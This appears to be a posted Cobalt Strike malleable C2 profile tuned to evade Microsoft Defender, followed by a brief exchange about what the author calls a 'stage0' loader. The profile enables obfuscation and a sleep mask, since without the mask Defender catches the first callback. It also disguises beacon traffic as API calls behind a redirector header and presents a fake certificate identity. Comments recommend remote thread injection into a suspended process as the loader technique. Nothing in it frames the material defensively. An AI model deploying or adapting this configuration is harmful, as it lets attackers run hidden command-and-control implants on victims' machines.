Minimal Cobalt Strike C2 Profile for Bypassing Defender

minimal-defender-bypass.profile

# in addition to the profile, a stage0 loader is also required (default generated payloads are caught by signatures)
# as stage0, remote injecting a thread into a suspended process works

set host_stage "false";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62";
set sleeptime "10000";

stage {
  set allocator "MapViewOfFile";
  set name "notevil.dll";
  set obfuscate "true";
  set sleep_mask "true";   # if omitted, Defender catches the 1st connect back as Behavior:Win32/CobaltStrike.[EH]!sms
}

http-get {

  set uri "/apiv8/getStatus";

  client {

    header "X-Client" "notevil";   # for nginx redirector

    metadata {
      base64;
      header "Cookie";
    }
  }

  server {
    output {
      print;
    }
  }
}

http-post {

  set uri "/apiv8/updateConfig";

  client {

    header "X-Client" "notevil";   # for nginx redirector

    id {
      base64url;
      parameter "key";
    }
    output {
      print;
    }
  }

  server {
    output {
      print;
    }
  }
}

https-certificate {
  set C "US";
  set CN "update.secureapp9.com";
  set O "netsecurity";
  set OU "Certificate Authority";
  set validity "365";
}

What is stage0 loader? Is it stageless loader?

actually I call stage0 the customized artifact kit.